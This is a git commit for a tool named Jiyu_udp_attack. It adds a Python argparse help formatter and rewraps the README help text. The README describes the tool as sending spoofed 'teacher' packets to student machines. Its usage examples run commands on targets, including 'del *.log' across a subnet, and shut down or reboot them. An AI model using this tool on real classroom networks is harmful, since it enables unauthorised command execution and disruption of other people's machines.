feat: Implement MaxWidthHelpFormatter for improved help display

weilycoder · weilycoder · commit 69cbbcda5920 · 2025-07-01T23:56:41.000+08:00
diff --git a/Jiyu_udp_attack/__main__.py b/Jiyu_udp_attack/__main__.py
@@ -12,7 +12,7 @@
 import argparse
 import binascii
 
-from typing import Any, Optional, Sequence, cast
+from typing import Any, Iterable, List, Optional, Sequence, cast
 
 try:
     from sender import broadcast_packet
@@ -39,6 +39,7 @@
         pkg_customize,
     )
 
+
 class ModeOptionalAction(argparse.Action):
     """
     Custom action for handling optional arguments in argparse.
@@ -87,11 +88,223 @@ def format_usage(self) -> str:
         return " | ".join(self.option_strings)
 
 
+class MaxWidthHelpFormatter(argparse.RawTextHelpFormatter):
+    """
+    *Replace some methods with Python 3.13 versions for better display*
+
+    Custom help formatter that formats the usage and actions in a more readable way.
+
+    It ensures that the usage line does not exceed a specified width.
+    """
+
+    def __init__(self, prog: str, indent_increment: int = 2, max_help_position: int = 24, width: int = 80) -> None:
+        super().__init__(prog, indent_increment, max_help_position, width)
+
+    def _format_usage(
+        self,
+        usage: Optional[str],
+        actions: Iterable[argparse.Action],
+        groups: Iterable[argparse._MutuallyExclusiveGroup],
+        prefix: Optional[str],
+    ) -> str:
+        if prefix is None:
+            prefix = "usage: "
+
+        if usage is not None:
+            usage = usage % dict(prog=self._prog)
+        elif usage is None and not actions:
+            usage = "%(prog)s" % dict(prog=self._prog)
+        elif usage is None:
+            prog = "%(prog)s" % dict(prog=self._prog)
+
+            optionals = []
+            positionals = []
+            for action in actions:
+                if action.option_strings:
+                    optionals.append(action)
+                else:
+                    positionals.append(action)
+
+            format = self._format_actions_usage
+            action_usage = format(optionals + positionals, groups)
+            usage = " ".join([s for s in [prog, action_usage] if s])
+
+            text_width = self._width - self._current_indent
+            if len(prefix) + len(usage) > text_width:
+                opt_parts = self._get_actions_usage_parts(optionals, groups)
+                pos_parts = self._get_actions_usage_parts(positionals, groups)
+
+                def get_lines(parts, indent, prefix=None):
+                    lines = []
+                    line = []
+                    indent_length = len(indent)
+                    if prefix is not None:
+                        line_len = len(prefix) - 1
+                    else:
+                        line_len = indent_length - 1
+                    for part in parts:
+                        if line_len + 1 + len(part) > text_width and line:
+                            lines.append(indent + " ".join(line))
+                            line = []
+                            line_len = indent_length - 1
+                        line.append(part)
+                        line_len += len(part) + 1
+                    if line:
+                        lines.append(indent + " ".join(line))
+                    if prefix is not None:
+                        lines[0] = lines[0][indent_length:]
+                    return lines
+
+                if len(prefix) + len(prog) <= 0.75 * text_width:
+                    indent = " " * (len(prefix) + len(prog) + 1)
+                    if opt_parts:
+                        lines = get_lines([prog] + opt_parts, indent, prefix)
+                        lines.extend(get_lines(pos_parts, indent))
+                    elif pos_parts:
+                        lines = get_lines([prog] + pos_parts, indent, prefix)
+                    else:
+                        lines = [prog]
+
+                else:
+                    indent = " " * len(prefix)
+                    parts = opt_parts + pos_parts
+                    lines = get_lines(parts, indent)
+                    if len(lines) > 1:
+                        lines = []
+                        lines.extend(get_lines(opt_parts, indent))
+                        lines.extend(get_lines(pos_parts, indent))
+                    lines = [prog] + lines
+
+                usage = "\n".join(lines)
+
+        return "%s%s\n\n" % (prefix, usage)
+
+    def _format_actions_usage(
+        self,
+        actions: Iterable[argparse.Action],
+        groups: Iterable[argparse._MutuallyExclusiveGroup],
+    ) -> str:
+        return " ".join(self._get_actions_usage_parts(list(actions), groups))
+
+    def _get_actions_usage_parts(
+        self,
+        actions: Sequence[argparse.Action],
+        groups: Iterable[argparse._MutuallyExclusiveGroup],
+    ) -> List[str]:
+
+        group_actions = set()
+        inserts = {}
+        for group in groups:
+            if not group._group_actions:
+                raise ValueError(f"empty group {group}")
+
+            if all(action.help is argparse.SUPPRESS for action in group._group_actions):
+                continue
+
+            try:
+                start = actions.index(group._group_actions[0])
+            except ValueError:
+                continue
+            else:
+                end = start + len(group._group_actions)
+                if actions[start:end] == group._group_actions:
+                    group_actions.update(group._group_actions)
+                    inserts[start, end] = group
+
+        parts = []
+        for action in actions:
+            if action.help is argparse.SUPPRESS:
+                part = None
+            elif not action.option_strings:
+                default = self._get_default_metavar_for_positional(action)
+                part = self._format_args(action, default)
+                if action in group_actions:
+                    if part[0] == "[" and part[-1] == "]":
+                        part = part[1:-1]
+            else:
+                option_string = action.option_strings[0]
+                if action.nargs == 0:
+                    try:
+                        part = action.format_usage()
+                    except AttributeError:
+                        part = action.option_strings[0]
+                else:
+                    default = self._get_default_metavar_for_optional(action)
+                    args_string = self._format_args(action, default)
+                    part = "%s %s" % (option_string, args_string)
+                if not action.required and action not in group_actions:
+                    part = "[%s]" % part
+
+            parts.append(part)
+
+        inserted_separators_indices = set()
+        for start, end in sorted(inserts, reverse=True):
+            group = inserts[start, end]
+            group_parts = [item for item in parts[start:end] if item is not None]
+            group_size = len(group_parts)
+            if group.required:
+                open, close = "()" if group_size > 1 else ("", "")
+            else:
+                open, close = "[]"
+            group_parts[0] = open + group_parts[0]
+            group_parts[-1] = group_parts[-1] + close
+            for i, part in enumerate(group_parts[:-1], start=start):
+                if i not in inserted_separators_indices:
+                    parts[i] = part + " |"
+                    inserted_separators_indices.add(i)
+            parts[start + group_size - 1] = group_parts[-1]
+            for i in range(start + group_size, end):
+                parts[i] = None
+
+        return [item for item in parts if item is not None]
+
+    def _format_action_invocation(self, action: argparse.Action) -> str:
+        if not action.option_strings:
+            default = self._get_default_metavar_for_positional(action)
+            return " ".join(self._metavar_formatter(action, default)(1))
+        else:
+            if action.nargs == 0:
+                return ", ".join(action.option_strings)
+            else:
+                default = self._get_default_metavar_for_optional(action)
+                args_string = self._format_args(action, default)
+                return ", ".join(action.option_strings) + " " + args_string
+
+    def _format_args(self, action: argparse.Action, default_metavar: str) -> str:
+        get_metavar = self._metavar_formatter(action, default_metavar)
+        if action.nargs is None:
+            result = "%s" % get_metavar(1)
+        elif action.nargs == argparse.OPTIONAL:
+            result = "[%s]" % get_metavar(1)
+        elif action.nargs == argparse.ZERO_OR_MORE:
+            metavar = get_metavar(1)
+            if len(metavar) == 2:
+                result = "[%s [%s ...]]" % metavar
+            else:
+                result = "[%s ...]" % metavar
+        elif action.nargs == argparse.ONE_OR_MORE:
+            result = "%s [%s ...]" % get_metavar(2)
+        elif action.nargs == argparse.REMAINDER:
+            result = "..."
+        elif action.nargs == argparse.PARSER:
+            result = "%s ..." % get_metavar(1)
+        elif action.nargs == argparse.SUPPRESS:
+            result = ""
+        else:
+            action.nargs = cast(int, action.nargs)
+            try:
+                formats = ["%s" for _ in range(action.nargs)]
+            except TypeError:
+                raise ValueError("invalid nargs value") from None
+            result = " ".join(formats) % get_metavar(action.nargs)
+        return result
+
+
 if __name__ == "__main__":
     parser = argparse.ArgumentParser(
-        description="Jiyu Attack Script",
-        epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/ \n \n"
-        "Example usage:\n"
+        description="Jiyu Attack Script\n \n"
+        "Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/ \n",
+        epilog="Example usage:\n"
         '    python Jiyu_udp_attack -t 192.168.106.100 -m "Hello World"\n'
         "    python Jiyu_udp_attack -t 192.168.106.104 -w https://www.github.com\n"
         '    python Jiyu_udp_attack -t 192.168.106.0/24 -f 192.168.106.2 -c "del *.log" -i 1000\n'
@@ -107,7 +320,7 @@ def format_usage(self) -> str:
         '    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.int.little_4}" 1024\n'
         '    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0}{1.size_800}" 4d hello\n'
         "    python Jiyu_udp_attack -t 192.168.106.100 --pkg test.txt 1024 hello\n",
-        formatter_class=argparse.RawTextHelpFormatter,
+        formatter_class=MaxWidthHelpFormatter,
     )
     network_config_group = parser.add_argument_group(
         "Network Configuration", "Specify the network configuration for the attack."
diff --git a/README.md b/README.md
@@ -18,58 +18,59 @@
 
 ```
 usage: Jiyu_udp_attack [-h] [-f <ip>] [-fp <port>] -t <ip> [-tp <port>]
-                       [-i <ip_id>]
-                       (-m <msg> | -w <url> | -c <command> | -e <program> [<args> ...] | -s [<timeout> [<message> ...]] | -r [<timeout> [<message> ...]] | -cw [<timeout> [<message> ...]] | -ctw | -n <name> <name_id> | --hex <hex_data> | --pkg <custom_data> [<args> ...])
+                       [-i <ip_id>] (-m <msg> | -w <url> | -c <command> |
+                       -e <program> [<args> ...] |
+                       -s [<timeout> [<message> ...]] |
+                       -r [<timeout> [<message> ...]] |
+                       -cw [<timeout> [<message> ...]] | -ctw |
+                       -n <name> <name_id> | --hex <hex_data> |
+                       --pkg <custom_data> [<args> ...])
 
 Jiyu Attack Script
 
-optional arguments:
+Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/ 
+
+options:
   -h, --help            show this help message and exit
 
 Network Configuration:
   Specify the network configuration for the attack.
 
-  -f <ip>, --teacher-ip <ip>
+  -f, --teacher-ip <ip>
                         Teacher's IP address
-  -fp <port>, --teacher-port <port>
+  -fp, --teacher-port <port>
                         Teacher's port (default to random port)
-  -t <ip>, --target <ip>
-                        Target IP address
-  -tp <port>, --target-port <port>
+  -t, --target <ip>     Target IP address
+  -tp, --target-port <port>
                         Port to send packets to (default: 4705)
-  -i <ip_id>, --ip-id <ip_id>
-                        IP ID for the packet (default: random ID)
+  -i, --ip-id <ip_id>   IP ID for the packet (default: random ID)
 
 Attack Action:
   Specify the action to perform on the target machine. 
 
-  -m <msg>, --message <msg>
-                        Send a message to the target machine
-  -w <url>, --website <url>
-                        Open a website on the target machine
-  -c <command>, --command <command>
+  -m, --message <msg>   Send a message to the target machine
+  -w, --website <url>   Open a website on the target machine
+  -c, --command <command>
                         Execute a command on the target machine
                         (`cmd /D /C <command>`, Windows only)
-  -e <program> [<args> ...], --execute <program> [<args> ...], --minimize-execute <program> [<args> ...], --maximize-execute <program> [<args> ...]
+  -e, --execute, --minimize-execute, --maximize-execute <program> [<args> ...]
                         Execute a program with arguments on the target machine
-  -s [<timeout> [<message> ...]], --shutdown [<timeout> [<message> ...]]
+  -s, --shutdown [<timeout> [<message> ...]]
                         Shutdown the target machine,
                         optionally with a timeout and message
-  -r [<timeout> [<message> ...]], --reboot [<timeout> [<message> ...]]
+  -r, --reboot [<timeout> [<message> ...]]
                         Reboot the target machine,
                         optionally with a timeout and message
-  -cw [<timeout> [<message> ...]], --close-windows [<timeout> [<message> ...]]
+  -cw, --close-windows [<timeout> [<message> ...]]
                         Close all windows on the target machine
   -ctw, --close-top-window
                         Close the top window on the target machine
-  -n <name> <name_id>, --rename <name> <name_id>
+  -n, --rename <name> <name_id>
                         Rename the target machine
   --hex <hex_data>      Send raw hex data to the target machine
   --pkg <custom_data> [<args> ...]
                         Custom packet data to send
 
-Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/ 
-
 Example usage:
     python Jiyu_udp_attack -t 192.168.106.100 -m "Hello World"
     python Jiyu_udp_attack -t 192.168.106.104 -w https://www.github.com
diff --git a/pyproject.toml b/pyproject.toml
@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "Jiyu-udp-attack"
-version = "1.1.0"
+version = "1.1.1"
 description = "Send packets to student machines disguised as Jiyu teacher machine"
 authors = ["weilycoder <weily2009@outlook.com>"]
 license = "MIT"
